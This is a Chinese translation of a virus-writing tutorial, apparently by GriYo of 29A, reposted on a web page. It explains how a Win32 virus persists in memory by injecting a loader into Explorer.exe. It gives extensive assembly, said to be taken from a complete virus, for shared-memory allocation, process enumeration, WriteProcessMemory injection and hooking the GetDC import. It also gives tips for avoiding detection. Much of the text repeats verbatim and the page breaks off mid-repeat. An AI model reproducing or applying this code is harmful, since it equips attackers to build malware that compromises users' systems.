Explorer内存感染
来源:互联网 发布:ug8.5编程视频 编辑:程序博客网 时间:2024/04/28 10:09
作者:GriYo / 29A
翻译:pker / CVC翻译小组
介绍
在Win32环境下使我们的病毒在运行结束后仍然驻留内存是一件很不容易的事。病毒保留的内
存会随着被感染程序的结束而消失。即使是每进程驻留病毒(per-process viruses),也只
是在感染例程没有结束时才能存在于内存中。
为了在Win32环境下获得完全的驻留,我们可以考虑如下实现:
- 我们可以在我们的病毒中加入可以把自己的病毒代码写入到磁盘并生成一个可执行
文件然后运行它(译注:通常我们称这种技术为drop)。
- 还有一种有趣的可行做法就是把我们的病毒注册为系统服务:通过在Win9x中调用
RegisterServiceProcess或者在WinNT/2000中通过系统的服务控制管理器
(Service Control Manager)…。但是这样做仍然需要把病毒代码drop到磁盘上。
- 把病毒写成驱动的形式也是一个可行的做法,但是这样我们就需要处理Win9x/NT/2000
之间的不兼容性。
- 我们可以把兼容性搁在一边,可以考虑一些粗鲁的驻留手段。这样我们可以切换到
ring-0,以便调用VxDCall或者其他技术。
这篇文章中我将介绍一种驻留技术:在内存中感染Explorer.exe并驻留在它的地址空间中。
虽然这个技术已经不是什么新技术了,但是我还没有看到过任何一个在WinNT/2000下使用这
个技术的病毒或者是相关的文章。所以,让我们从这里开始吧!
实现
我们将按照下面的步骤一步步地实现我们的目的:
- 首先要为病毒保留一块内存。我们使用CreateFileMappingA和MapViewOfFile。这样
我们保留的内存对其他进程来说将是可见的(记得吗,内存映射文件允许我们在进
程间共享内存数据)
- 下面我们要找到Explorer.exe进程并且可以对它进行访问。
- 一旦我们在内存中访问到Explorer.exe,我们就要在其中寻找一段空穴(hole)。
我们要在其中插入一小段代码。插入这段代码的目的是使我们的内存块(memory-
block)对Explorer.exe进程是可见的。(译注:在这段代码中要保持一个对病毒
内存块的引用,这样当我们的感染例程结束后这块内存才不会被释放掉)
- 最后,我们要挂钩一个Explorer.exe使用的API,这样,当这个API被调用的时候我
们插入的代码可以得到控制权。
1. 分配共享内存:
通过使用内存映射文件,我们可以保留一块内存并且稍候可以通过其他进程访问到。我们同
时要用到一个关于内存映射文件的鲜为人知的特性:一个内存映射文件并不一定要和磁盘上
的文件产生联系。考虑如下代码:
lea eax,dword ptr [ebp+szObjectName]
push eax
push SIZEOF_MEMORYBLOCK
push 00000000h
push PAGE_READWRITE
push 00000000h
push 0FFFFFFFFh
call dword ptr [ebp+a_CreateFileMappingA]
or eax,eax
jz GoBack2Host
mov edi,eax
call dword ptr [ebp+a_GetLastError]
cmp eax,000000B7h ; ERROR_ALREADY_EXISTS
je GoBack2Host
压进栈的第一个参数是我们要映射的文件对象的文件名。最好在每个系统中这个文件名是不
同的,这样病毒不会仅仅因为带有了这个文件名而被在内存中被检测到。接下来是我们要申
请的内存区域的大小。紧随其后的是这个尺寸的高32字节(通常为0)。
下面压入的是访问权限,PAGE_READWRITE可以使我们对这块内存具有读写的权利。
接下来的一个参数被忽略了,所以我们简单地用一个NULL填充。我们的把戏就在最后压进的
这个参数上:将被映射文件的文件句柄。通过指定这个句柄为0FFFFFFFFh,这个调用将创建
一个由系统所有而非属于一个命名文件的指定大小的内存映射文件对象。这个内存映射文件
对象可以通过文件名共享。
如果调用失败我们将在寄存器EAX中得到一个NULL。如果函数调用前这个文件对象就已经存
在,函数返回这个文件对象的句柄(这时文件对象的大小就是当前大小,而不是函数调用时
指定的大小)并且GetLastError返回ERROR_ALREADY_EXISTS。这给我们提供了一个额外的特
征:我们可以在申请内存的同时进行安装检查。
下面我们来看一下这个新创建的文件映射:
push 00000000h
push 00000000h
push 00000000h
push FILE_MAP_WRITE
push edi
call dword ptr [ebp+a_MapViewOfFile]
or eax,eax
jz GoBack2Host
前面的3个双字是将要映射的文件大小以及偏移的字节数(指定为0代表映射整个文件)。
接下来的参数是访问权限。FILE_MAP_WRITE可以使我们具有读写的权利。最后一个参数
(EDI)是由CreateFileMappingA创建的文件映射对象句柄。
上面的代码的结果是得到了一个指向申请到的内存的指针。
最后一步,我们要把病毒写入到申请的内存空间。
2. 寻找Explorer.exe进程
关于如何寻找要根据不同的操作系统而定。让我们从下面的代码开始:
lea esi,dword ptr [ebp+system_version]
push esi
mov dword ptr [esi],00000094h
call dword ptr [ebp+a_GetVersionEx]
or eax,eax
jz GoBack2Host
add esi,00000010h
cld
lodsb
cmp eax,VER_PLATform_WIN32_NT
je MemInfectWinNt
cmp eax,VER_PLATform_WIN32_WINDOWS
je MemInfectWin9x
下面让我们分别来看:
1) 在Win9x下寻找Explorer.exe
在Win9x中我们有一系列的函数可以用来枚举当前系统中的进程、模块和线程。这些就是
TOOLHELP32函数族,他们在kernel32.dll中,并且只在Win9x下有效。(译注:这些函数在
Windows 9x /2k/XP/2k3中均有效,并声明在tlhelp32.h中,但在NT中不存在):
CreateToolhelp32Snapshot
Heap32First
Heap32ListFirst
Heap32ListNext
Heap32Next
Module32First
Module32Next
Process32First
Process32Next
Thread32First
Thread32Next
Toolhelp32ReadProcessMemory
我们将集中讨论其中5个函数:
- CreateToolhelp32Snapshot
允许我们为系统照一张快照。余下的几个函数将允许我们访问由这个快照得到的信
息。
- Process32First和Process32Next
从系统快照中提取进程相关信息。
- Module32First和Module32Next
从系统快照中提取与一进程相关的模块信息
让我们来看看这个函数是如何工作的:
push 00000000h
push TH32CS_SNAPPROCESS
call dword ptr [ebp+a_CreateToolhelp32Snapshot]
cmp eax,0ffffffffh
je ExitMemWin9x
mov dword ptr [ebp+hSnapshot],eax
第一个参数指定了进程ID,如果建立的是当前进程的快照这个参数将被忽略。
下一个参数指定了系统的哪个部分信息将被包含在快照中。这个参数可以是如下取值:
TH32CS_INHERIT 使返回的句柄可继承
TH32CS_SNAPALL 得到整个系统的快照
TH32CS_SNAPHEAPLIST 包含指定进程的堆列表
TH32CS_SNAPMODULE 列出指定进程加载的模块
TH32CS_SNAPPROCESS 列出所有进程
TH32CS_SNAPTHREAD 包含线程列表
我们创建一个TH32CS_SNAPPROCESS快照并且用Process32First和Process32Next寻找Explorer.exe。
lea eax,dword ptr [ebp+ProcessEntry]
push eax
mov dword ptr [eax],SIZEOFPROCESSENTRY
push dword ptr [ebp+hSnapshot]
call dword ptr [ebp+a_Process32First]
or eax,eax
jz CloseSnapshot
CheckProcEntry:
;
; 检查是不是Explorer.exe
;
lea eax,dword ptr [ebp+ProcessEntry]
push eax
push dword ptr [ebp+hSnapshot]
call dword ptr [ebp+a_Process32Next]
or eax,eax
jnz CheckProcEntry
Process32First和Process32Next都用到了一个叫PROCESSENTRY32的结构。这是我们对
PROCESSENTRY32的定义:
ProcessEntry equ $
ProcEdwSize dd 00000000h
ProcEcntUsage dd 00000000h
ProcEth32ProcessID dd 00000000h
ProcEth32DefaultHeapID dd 00000000h
ProcEth32ModuleID dd 00000000h
ProcEcntThreads dd 00000000h
ProcEth32ParentProcessID dd 00000000h
ProcEpcPriClassBase dd 00000000h
ProcEdwFlags dd 00000000h
ProcEszExeFile db MAX_PATH dup (00h)
SIZEOFPROCESSENTRY equ ($-ProcessEntry)
在调用这个函数之前,结构的ProcEdwSize字段必须填上这个结构的大小。否则将调用失败。
返回时,这个结构将被填充为相应的信息。我们可以看一下ProcEszExeFile字段:它包含着
被检测进程的完整路径和文件名。这个可以让我们用来确定这个进程是不是Explorer.exe
(我在例子代码中省略了这段因为这不是这篇文章主要要讨论的内容)。
一旦我们定位到了Explorer.exe,我们就关闭快照并建立一个新的快照。这次我们请求得到
关于Explorer.exe进程的模块信息。
push dword ptr [ebp+hSnapshot]
call dword ptr [ebp+a_CloseHandle]
push dowrd ptr [ebp+ProcEth32ProcessID]
push TH32CS_SNAPSHOTMODULE
call dword ptr [ebp+a_CreateToolhelp32Snapshot]
cmp eax,0ffffffffh
je ExitMemWin9x
mov dword ptr [ebp+hSnapshot],eax
为了访问快照得到的信息,我们使用Module32First和Moduel32Next函数。得到的其中一个模
块就是Explorer.exe本身。这些API返回的信息储存在下面的结构中:
ModuleEntry equ $
ModEdwSize dd 00000000h
ModEth32ModuleID dd 00000000h
ModEth32ProcessID dd 00000000h
ModEGlblcntUsage dd 00000000h
ModEProccntUsage dd 00000000h
ModEmodBaseAddr dd 00000000h
ModEmodBaseSize dd 00000000h
ModEhModule dd 00000000h
ModEszModule db MAX_MODULE_NAME32+1 dup (00h)
ModEszExePath db MAX_PATH dup (00h)
SIZEOFMODULEENTRY equ ($-ModuleEntry)
下面我们看看具体实现:
lea edi,dword ptr [ebp+ModuleEntry]
push edi
mov dword ptr [edi],SIZEOFMODULEENTRY
push eax
call dword ptr [ebp+a_Module32First]
or eax,eax
jz CloseSnapshot
CheckEMod:
mov eax,dword ptr [ebp+ProcEth32ModuleID]
cmp eax,dword ptr [ebp+ModEth32ModuleID]
jz MODULE_FOUND
push edi ; lpme
push dword ptr [ebp+hSnapshot] ; hSnapshot
call dword ptr [ebp+a_Module32Next]
or eax,eax
jnz CheckEMod
jmp CloseSnapshot ; Abort if module not found
函数每一次返回我们都对ModEth32ModuleID字段和之前枚举进程时得到的ProcEth32ModuleID
字段进行比较。
得到Explorer.exe的模块句柄这一点很重要。ModEhModule字段包含着模块句柄。在Win32下,
这个句柄就是模块在内存中装载的基地址。
2) 在WinNT/2000下寻找Explorer.exe
上面提到的实现在Windows NT下不可行,因为NT中没有TOOLHELP32族函数。为了得到进程和
模块列表,我们借助于一个附加DLL:PSAPI.DLL
这个dll为我们提供了下列函数:
EmptyWorkingSet
EnumDeviceDrivers
EnumProcesses
EnumProcessModules
GetDeviceDriverBaseName
GetDeviceDriverFileName
GetMappedFileName
GetModuleBaseName
GetModuleFileNameEx
GetModuleInformation
GetProcessMemoryInfo
GetWsChanges
InitializeProcessForWsWatch
QueryWorkingSet
但是为了达到我们的目的我们只需要下面的几个函数即可:
- EnumProcesses
得到一个包含每个进程ID的数组。
- EnumProcessModules
返回给我们一个填写着指定进程的所有装载模块的模块句柄的数组。
例如:
lea edi,dword ptr [ebp+EP_Bytes]
push edi
push 00000080h
lea esi,dword ptr [ebp+ProcessIdList]
push esi
call dword ptr [ebp+a_EnumProcesses]
or eax,eax
jz ExitMemNt
mov ecx,dword ptr [edi]
shr ecx,02h
jecxz ExitMemNt
第一个参数是一个指向一个变量的指针,返回时这个变量的值被写成进程ID数组的实际字节
数。
第二个参数指定了数组大小,如果它不足以放置整个列表则函数调用失败。
最后一个参数是指向接受进程ID列表的数组的指针。要确定有多少进程被EnumProcesses枚举
可以用返回的结果EP_Bytes除以04h (一个双字的大小)
下面让我们依次打开每一个返回的进程:
push dword ptr [ebp+PROCESS_ID]
push 00000000h
push PROCESS_QUERY_INformATION or /
PROCESS_VM_READ or /
PROCESS_VM_WRITE or /
PROCESS_VM_OPERATION
call dword ptr [ebp+a_OpenProcess]
大部分返回的进程不允许我们以指定的权限打开。但Explorer.exe不是那样。
当一个进程被打开后,我们就得到了一个进程句柄。我们仍然需要去确定这是不是
Explorer.exe。
下面,我们要重新得到这个进程加载的第一个模块:
lea edx,dword ptr [ebp+EP_Bytes]
push edx
push 00000080h
lea esi,dword ptr [ebp+ModuleList]
push esi
push eax
call dword ptr [ebp+a_EnumProcessModules]
or eax,eax
jz NCProcess
cld
lodsd
mov dword ptr [ebp+hModuel],eax
注意我们不需要寻找其他模块:第一个返回的模块就是Explorer.exe自身。
现在我们有了一个进程的模块句柄(加载基地址)。我们用kernel32导出的
GetModuleBaseNameA函数来得到这个模块的名字,检查这是不是Explorer.exe。
push MAX_PATH
lea esi,dword ptr [ebp+BufStrFilename]
push esi
push dword ptr [ebp+hModule]
push dword ptr [ebp+hProcess]
call dword ptr [ebp+a_GetModuleBaseNameA]
or eax,eax
jz NCProcess
3. 接管
下面的部分是Win9x/Nt/2000通用的。
一旦我们得到了Explorer.exe的基地址,我们就可以对其调用函数ReadProcessMemory和
WriteProcessMemory了。
下面的代码演示了这两个函数的使用:
;Read process memory routine
;
;On entry:
; eax -> Pointer to the base address from which to read
; ecx -> Specifies the requested number of bytes to read
; esi -> Pointer to a buffer that receives the contents from
; the address address
;
; [ebp+hProcess] contains the target process handle
;
;On exit:
; eax -> NULL if error
;
; ebx, ecx, esi, edi, ebp preserved
ReadProcessMem:
push edi
push ecx
lea edi,dword ptr [ebp+EP_Bytes] ;lpNumberOfBytesRead
push edi
push ecx ;nSize
push esi ;lpBuffer
push eax ;lpBaseAddress
push dword ptr [ebp+hProcess] ;hProcess
call dword ptr [ebp+a_ReadProcessMemory]
pop ecx
or eax,eax
jz ExitREM
cmp dword ptr [edi],ecx
je ExitREM
xor eax,eax
ExitREM:
pop edi
cld
ret
;Write process memory routine
;
;On entry:
; eax -> Pointer to the base address in the specified process
; to which data will be written
; ecx -> Specifies the number of bytes to write
; esi -> Pointer to the buffer that contains data to be written
;
; [ebp+hProcess] contains the target process handle
;
;On exit:
; eax -> NULL if error
;
; ebx, ecx, esi, edi, ebp preserved
WriteProcessMem:push edi
push ecx
lea edi,dword ptr [ebp+EP_Bytes] ;lpNumberOfBytesWritten
push edi
push ecx ;nSize
push esi ;lpBuffer
push eax ;lpBaseAddress
push dword ptr [ebp+hProcess] ;hProcess
call dword ptr [ebp+a_WriteProcessMemory]
pop ecx
or eax,eax
jz ExitWEM
cmp dword ptr [edi],ecx
je ExitWEM
xor eax,eax
ExitWEM:
pop edi
cld
ret
利用这个子程序我们就可以读写Explorer.exe的内存映像了。
现在我们已经得到了:
- 一个具有写权限的Explorer.exe进程句柄
- Explorer.exe映射的基地址
我们要用它们来做什么呢?答案很简单:把我们的病毒插入到Explorer.exe的进程空间里去,
这样当我们的感染例程结束后我们的病毒仍然可以驻留内存。
让我们一步步来做。首先我们先找到节表。通过它我们找到一个合适的节:
mov ebx,dword ptr [ebp+hModule]
mov ecx,00000004h
lea esi,dword ptr [ebp+Explorer_MZ_lfanew]
mov eax,ebx
add eax,MZ_lfanew
call ReadProcessMem
or eax,eax
jz FE_Exit
lodsd ;There is a CLD at the end of ReadProcessMem
or eax,eax ;Now esi -> Explorer_FH_SizeOfOptionalHeader
jz FE_Exit ; eax -> MZ_lfanew
add eax,ebx
mov edi,eax
add eax,00000004h + FH_SizeOfOptionalHeader
dec ecx
dec ecx
call ReadProcessMem
or eax,eax
jz FE_Exit
lodsw ;Just to do
;esi -> Explorer_FH_NumberOfSections
mov eax,edi
add eax,00000004h + FH_NumberOfSections
call ReadProcessMem
or eax,eax
jz FE_Exit
lodsw ;esi -> Explorer_SectionHeader
movzx ecx,ax ;ecx -> Number of sections
movzx eax,word ptr [ebp+Explorer_FH_SizeOfOptionalHeader]
add edi,eax
add edi,00000004h + IMAGE_SIZEOF_FILE_HEADER
我们需要一个具有读写属性的节。一个包含初始化数据的节。如果找到具有这样属性的节我
们还要检查这个节是不是还留有自由空间(SH_SizeOfRawData > SH_VirtualSize)。
ExplorerHole:
push ecx
mov eax,edi
mov ecx,IMAGE_SIZEOF_SECTION_HEADER
call ReadProcessMem
or eax,eax
jz E_NextSection
;There is free space ?
cmp dword ptr [esi+SH_Characteristics], /
IMAGE_SCN_MEM_READ or /
IMAGE_SCN_MEM_WRITE or /
IMAGE_SCN_CNT_INITIALIZED_DATA
jne E_NextSection
mov eax,dword ptr [esi+SH_SizeOfRawData]
sub eax,dword ptr [esi+SH_VirtualSize]
js E_NextSection
cmp eax,SIZEOF_EVL
jae Ok_E_Section
;Try next section
E_NextSection:
add edi,ecx
pop ecx
loop ExplorerHole
;No suitable section found
jmp FE_Exit
一旦我们得到了一个符合要求的节我们就可以在这里写入我们的代码,要写入的代码我们在
后面会谈到。
Ok_E_Section:
pop ecx ;Cleanup stack
;Setup some values in the code we want to write to EXPLORER.EXE
mov eax,dword ptr [ebp+a_GetDC]
mov dword ptr [ebp+EVL_a_OrginalApiAddr],eax
mov eax,dword ptr [ebp+a_OpenFileMappingA]
mov dword ptr [ebp+EVL_a_OpenFileMapping],eax
mov eax,dword ptr [ebp+a_MapViewOfFile]
mov dword ptr [ebp+EVL_a_MapViewOfFile],eax
mov eax,ebx
add eax,dword ptr [esi+SH_VirtualAddress]
add eax,dword ptr [esi+SH_VirtualSize]
mov dword ptr [ebp+Explorer_Patch],eax
mov ecx,SIZEOF_EVL
lea esi,dword ptr [ebp+EVL_code]
call WriteProcessMem
or eax,eax
jz FE_Exit
当我们把病毒的loader写入Explorer.exe后,我们准备对Explorer.exe的API进行挂钩,这个
钩子会把控制权交到我们插入的代码中。
;Go to EXPLORER.EXE data directory
mov eax,ebx
add eax,dword ptr [ebp+Explorer_MZ_lfanew]
add eax,00000004h + IMAGE_SIZEOF_FILE_HEADER + /
OH_DataDirectory.DE_Import.DD_VirtualAddress
mov ecx,00000004h
lea esi,dword ptr [ebp+Explorer_DE_Import]
call ReadProcessMem
or eax,eax
jz FE_Exit
;Search for USER32 import module descriptor
lodsd
add eax,ebx
mov edi,eax
E_Search_K32:
mov eax,edi
mov ecx,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
lea esi,dword ptr [ebp+Explorer_ImportDescriptor]
call ReadProcessMem
or eax,eax
jz FE_Exit
;Last import module descriptor!?
cmp dword ptr [esi],00000000h
je FE_Exit
;Check import module descriptor ID_Name
mov eax,ebx
add eax,dword ptr [esi+ID_Name]
mov ecx,00000010h
lea esi,dword ptr [ebp+Explorer_ID_Name]
call ReadProcessMem
or eax,eax
jz FE_Exit
push edi
lea edi,dword ptr [ebp+BufStrFilename]
call parse_filename
mov esi,edx
call get_str_crc32
pop edi
cmp edx,dword ptr [ebp+CRCszUSER32] ;Is USER32.DLL ?
je E_Found_K32
;Next import module descriptor
add edi,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
jmp E_Search_K32
;USER32.DLL import module descriptor found
E_Found_K32:
mov edi,dword ptr [ebp+ Explorer_ImportDescriptor+ID_FirstThunk]
add edi,ebx
mov ecx,00000004h
lea esi,dword ptr [ebp+Explorer_Hook]
E_NextThunk:
mov eax,edi
call ReadProcessMem
or eax,eax
jz FE_Exit
mov eax,dword ptr [esi]
or eax,eax
jz FE_Exit
cmp eax,dword ptr [ebp+a_GetDC]
je E_Poison
add edi,ecx
jmp E_NextThunk
;Gotcha!
E_Poison:
mov eax,edi
mov dword ptr [ebp+Explorer_Init_Hook],eax
lea esi,dword ptr [ebp+Explorer_Patch]
call WriteProcessMem ; ECX already loaded
or eax,eax
jz FE_Exit
;Done!!!! ieieie!!!!
;Insert rest of code here
ret
FE_Exit: ;Residency proc failed!
Ret
这段代码取自一个完整的病毒。你会发现其中调用的一些子程序没有出现在这篇文章中。这
段代码只是希望起到一定的引导作用,仅此而已。
我们继续,下面的代码是我们要插入到Explorer.exe的进程空间的。
; Code injected into EXPLORER.EXE
;
; The purpose of this code is to get access to virus memory from
; EXPLORER.EXE
EVL_code equ $
;Let some space for the return address... then save all regs
push eax
pushad
;This is the original address of the API... Lets make the
;return address point to it
db 0B8h ; EAX -> Original API address
EVL_a_OrginalApiAddr dd 00000000h
mov dword ptr [esp+cPushad],eax
;Attempt to avoid reentrance problems
call MultiThreadSafe
db 00h ;Only changed over hook code, not over main virus body
MultiThreadSafe:
pop esi
mov edi,esi
cld
lodsb
or al,al
jnz MayBeOnNextCall
dec al
stosb
;Try to open the virus file-mapping
;There is some kinda race condition here... If the infected
;program terminates before this point we wont be able to
;find the rest of the virus in memory...
;In that case the hook will stay present, and this code may
;be able to find the virus memory-mapping on next attemps
call GetszObjName ;lpName
szObjectName db 10h dup (00h)
GetszObjName:
push 00000000h ;bInheritHandle
mov edi,FILE_MAP_WRITE
push edi ;dwDesiredAccess
db 0B8h ; EAX -> OpenFileMappingA
EVL_a_OpenFileMapping dd 00000000h
call eax
or eax,eax
jz MayBeOnNextCall
;The file-mapping is here... Get an image of it
xor edx,edx
push edx
push edx
push edx
push edi
push eax
db 0B8h ; EAX -> OpenFileMappingA
EVL_a_MapViewOfFile dd 00000000h
call eax
or eax,eax
jz MayBeOnNextCall
;Great! We have access to virus allocated memory, but
;remember we are now inside EXPLORER.EXE !!!!
;Jump to virus complete image in order to complete
;initialization inside EXPLORER.EXE
add eax,offset ExplorerInit - offset viro_sys
call eax
;Restore regs and jump to original API code
MayBeOnNextCall:
popad
ret
SIZEOF_EVL equ $-EVL_code
Explorer.exe中的GetDC这个API已经被挂了钩并指向上面这段代码。一旦这段代码被激活,
他会寻找共享内存块(就是我们在开篇提到的)。一旦我们得到这块内存的句柄我们就可以
确信我们的病毒已经永久地驻留系统了,直到Explorer.exe关闭。
可能有些读者会问:为什么感染例程结束了这块内存还会保留呢?答案很简单:因为一块内
存直到所有引用它的句柄都关闭了才系统才会释放它。当感染例程结束了,它关闭了所有的
句柄,但是还有一个句柄仍然打开着,是在Explorer中。
翻译:pker / CVC翻译小组
介绍
在Win32环境下使我们的病毒在运行结束后仍然驻留内存是一件很不容易的事。病毒保留的内
存会随着被感染程序的结束而消失。即使是每进程驻留病毒(per-process viruses),也只
是在感染例程没有结束时才能存在于内存中。
为了在Win32环境下获得完全的驻留,我们可以考虑如下实现:
- 我们可以在我们的病毒中加入可以把自己的病毒代码写入到磁盘并生成一个可执行
文件然后运行它(译注:通常我们称这种技术为drop)。
- 还有一种有趣的可行做法就是把我们的病毒注册为系统服务:通过在Win9x中调用
RegisterServiceProcess或者在WinNT/2000中通过系统的服务控制管理器
(Service Control Manager)…。但是这样做仍然需要把病毒代码drop到磁盘上。
- 把病毒写成驱动的形式也是一个可行的做法,但是这样我们就需要处理Win9x/NT/2000
之间的不兼容性。
- 我们可以把兼容性搁在一边,可以考虑一些粗鲁的驻留手段。这样我们可以切换到
ring-0,以便调用VxDCall或者其他技术。
这篇文章中我将介绍一种驻留技术:在内存中感染Explorer.exe并驻留在它的地址空间中。
虽然这个技术已经不是什么新技术了,但是我还没有看到过任何一个在WinNT/2000下使用这
个技术的病毒或者是相关的文章。所以,让我们从这里开始吧!
实现
我们将按照下面的步骤一步步地实现我们的目的:
- 首先要为病毒保留一块内存。我们使用CreateFileMappingA和MapViewOfFile。这样
我们保留的内存对其他进程来说将是可见的(记得吗,内存映射文件允许我们在进
程间共享内存数据)
- 下面我们要找到Explorer.exe进程并且可以对它进行访问。
- 一旦我们在内存中访问到Explorer.exe,我们就要在其中寻找一段空穴(hole)。
我们要在其中插入一小段代码。插入这段代码的目的是使我们的内存块(memory-
block)对Explorer.exe进程是可见的。(译注:在这段代码中要保持一个对病毒
内存块的引用,这样当我们的感染例程结束后这块内存才不会被释放掉)
- 最后,我们要挂钩一个Explorer.exe使用的API,这样,当这个API被调用的时候我
们插入的代码可以得到控制权。
1. 分配共享内存:
通过使用内存映射文件,我们可以保留一块内存并且稍候可以通过其他进程访问到。我们同
时要用到一个关于内存映射文件的鲜为人知的特性:一个内存映射文件并不一定要和磁盘上
的文件产生联系。考虑如下代码:
lea eax,dword ptr [ebp+szObjectName]
push eax
push SIZEOF_MEMORYBLOCK
push 00000000h
push PAGE_READWRITE
push 00000000h
push 0FFFFFFFFh
call dword ptr [ebp+a_CreateFileMappingA]
or eax,eax
jz GoBack2Host
mov edi,eax
call dword ptr [ebp+a_GetLastError]
cmp eax,000000B7h ; ERROR_ALREADY_EXISTS
je GoBack2Host
压进栈的第一个参数是我们要映射的文件对象的文件名。最好在每个系统中这个文件名是不
同的,这样病毒不会仅仅因为带有了这个文件名而被在内存中被检测到。接下来是我们要申
请的内存区域的大小。紧随其后的是这个尺寸的高32字节(通常为0)。
下面压入的是访问权限,PAGE_READWRITE可以使我们对这块内存具有读写的权利。
接下来的一个参数被忽略了,所以我们简单地用一个NULL填充。我们的把戏就在最后压进的
这个参数上:将被映射文件的文件句柄。通过指定这个句柄为0FFFFFFFFh,这个调用将创建
一个由系统所有而非属于一个命名文件的指定大小的内存映射文件对象。这个内存映射文件
对象可以通过文件名共享。
如果调用失败我们将在寄存器EAX中得到一个NULL。如果函数调用前这个文件对象就已经存
在,函数返回这个文件对象的句柄(这时文件对象的大小就是当前大小,而不是函数调用时
指定的大小)并且GetLastError返回ERROR_ALREADY_EXISTS。这给我们提供了一个额外的特
征:我们可以在申请内存的同时进行安装检查。
下面我们来看一下这个新创建的文件映射:
push 00000000h
push 00000000h
push 00000000h
push FILE_MAP_WRITE
push edi
call dword ptr [ebp+a_MapViewOfFile]
or eax,eax
jz GoBack2Host
前面的3个双字是将要映射的文件大小以及偏移的字节数(指定为0代表映射整个文件)。
接下来的参数是访问权限。FILE_MAP_WRITE可以使我们具有读写的权利。最后一个参数
(EDI)是由CreateFileMappingA创建的文件映射对象句柄。
上面的代码的结果是得到了一个指向申请到的内存的指针。
最后一步,我们要把病毒写入到申请的内存空间。
2. 寻找Explorer.exe进程
关于如何寻找要根据不同的操作系统而定。让我们从下面的代码开始:
lea esi,dword ptr [ebp+system_version]
push esi
mov dword ptr [esi],00000094h
call dword ptr [ebp+a_GetVersionEx]
or eax,eax
jz GoBack2Host
add esi,00000010h
cld
lodsb
cmp eax,VER_PLATform_WIN32_NT
je MemInfectWinNt
cmp eax,VER_PLATform_WIN32_WINDOWS
je MemInfectWin9x
下面让我们分别来看:
1) 在Win9x下寻找Explorer.exe
在Win9x中我们有一系列的函数可以用来枚举当前系统中的进程、模块和线程。这些就是
TOOLHELP32函数族,他们在kernel32.dll中,并且只在Win9x下有效。(译注:这些函数在
Windows 9x /2k/XP/2k3中均有效,并声明在tlhelp32.h中,但在NT中不存在):
CreateToolhelp32Snapshot
Heap32First
Heap32ListFirst
Heap32ListNext
Heap32Next
Module32First
Module32Next
Process32First
Process32Next
Thread32First
Thread32Next
Toolhelp32ReadProcessMemory
我们将集中讨论其中5个函数:
- CreateToolhelp32Snapshot
允许我们为系统照一张快照。余下的几个函数将允许我们访问由这个快照得到的信
息。
- Process32First和Process32Next
从系统快照中提取进程相关信息。
- Module32First和Module32Next
从系统快照中提取与一进程相关的模块信息
让我们来看看这个函数是如何工作的:
push 00000000h
push TH32CS_SNAPPROCESS
call dword ptr [ebp+a_CreateToolhelp32Snapshot]
cmp eax,0ffffffffh
je ExitMemWin9x
mov dword ptr [ebp+hSnapshot],eax
第一个参数指定了进程ID,如果建立的是当前进程的快照这个参数将被忽略。
下一个参数指定了系统的哪个部分信息将被包含在快照中。这个参数可以是如下取值:
TH32CS_INHERIT 使返回的句柄可继承
TH32CS_SNAPALL 得到整个系统的快照
TH32CS_SNAPHEAPLIST 包含指定进程的堆列表
TH32CS_SNAPMODULE 列出指定进程加载的模块
TH32CS_SNAPPROCESS 列出所有进程
TH32CS_SNAPTHREAD 包含线程列表
我们创建一个TH32CS_SNAPPROCESS快照并且用Process32First和Process32Next寻找Explorer.exe。
lea eax,dword ptr [ebp+ProcessEntry]
push eax
mov dword ptr [eax],SIZEOFPROCESSENTRY
push dword ptr [ebp+hSnapshot]
call dword ptr [ebp+a_Process32First]
or eax,eax
jz CloseSnapshot
CheckProcEntry:
;
; 检查是不是Explorer.exe
;
lea eax,dword ptr [ebp+ProcessEntry]
push eax
push dword ptr [ebp+hSnapshot]
call dword ptr [ebp+a_Process32Next]
or eax,eax
jnz CheckProcEntry
Process32First和Process32Next都用到了一个叫PROCESSENTRY32的结构。这是我们对
PROCESSENTRY32的定义:
ProcessEntry equ $
ProcEdwSize dd 00000000h
ProcEcntUsage dd 00000000h
ProcEth32ProcessID dd 00000000h
ProcEth32DefaultHeapID dd 00000000h
ProcEth32ModuleID dd 00000000h
ProcEcntThreads dd 00000000h
ProcEth32ParentProcessID dd 00000000h
ProcEpcPriClassBase dd 00000000h
ProcEdwFlags dd 00000000h
ProcEszExeFile db MAX_PATH dup (00h)
SIZEOFPROCESSENTRY equ ($-ProcessEntry)
在调用这个函数之前,结构的ProcEdwSize字段必须填上这个结构的大小。否则将调用失败。
返回时,这个结构将被填充为相应的信息。我们可以看一下ProcEszExeFile字段:它包含着
被检测进程的完整路径和文件名。这个可以让我们用来确定这个进程是不是Explorer.exe
(我在例子代码中省略了这段因为这不是这篇文章主要要讨论的内容)。
一旦我们定位到了Explorer.exe,我们就关闭快照并建立一个新的快照。这次我们请求得到
关于Explorer.exe进程的模块信息。
push dword ptr [ebp+hSnapshot]
call dword ptr [ebp+a_CloseHandle]
push dowrd ptr [ebp+ProcEth32ProcessID]
push TH32CS_SNAPSHOTMODULE
call dword ptr [ebp+a_CreateToolhelp32Snapshot]
cmp eax,0ffffffffh
je ExitMemWin9x
mov dword ptr [ebp+hSnapshot],eax
为了访问快照得到的信息,我们使用Module32First和Moduel32Next函数。得到的其中一个模
块就是Explorer.exe本身。这些API返回的信息储存在下面的结构中:
ModuleEntry equ $
ModEdwSize dd 00000000h
ModEth32ModuleID dd 00000000h
ModEth32ProcessID dd 00000000h
ModEGlblcntUsage dd 00000000h
ModEProccntUsage dd 00000000h
ModEmodBaseAddr dd 00000000h
ModEmodBaseSize dd 00000000h
ModEhModule dd 00000000h
ModEszModule db MAX_MODULE_NAME32+1 dup (00h)
ModEszExePath db MAX_PATH dup (00h)
SIZEOFMODULEENTRY equ ($-ModuleEntry)
下面我们看看具体实现:
lea edi,dword ptr [ebp+ModuleEntry]
push edi
mov dword ptr [edi],SIZEOFMODULEENTRY
push eax
call dword ptr [ebp+a_Module32First]
or eax,eax
jz CloseSnapshot
CheckEMod:
mov eax,dword ptr [ebp+ProcEth32ModuleID]
cmp eax,dword ptr [ebp+ModEth32ModuleID]
jz MODULE_FOUND
push edi ; lpme
push dword ptr [ebp+hSnapshot] ; hSnapshot
call dword ptr [ebp+a_Module32Next]
or eax,eax
jnz CheckEMod
jmp CloseSnapshot ; Abort if module not found
函数每一次返回我们都对ModEth32ModuleID字段和之前枚举进程时得到的ProcEth32ModuleID
字段进行比较。
得到Explorer.exe的模块句柄这一点很重要。ModEhModule字段包含着模块句柄。在Win32下,
这个句柄就是模块在内存中装载的基地址。
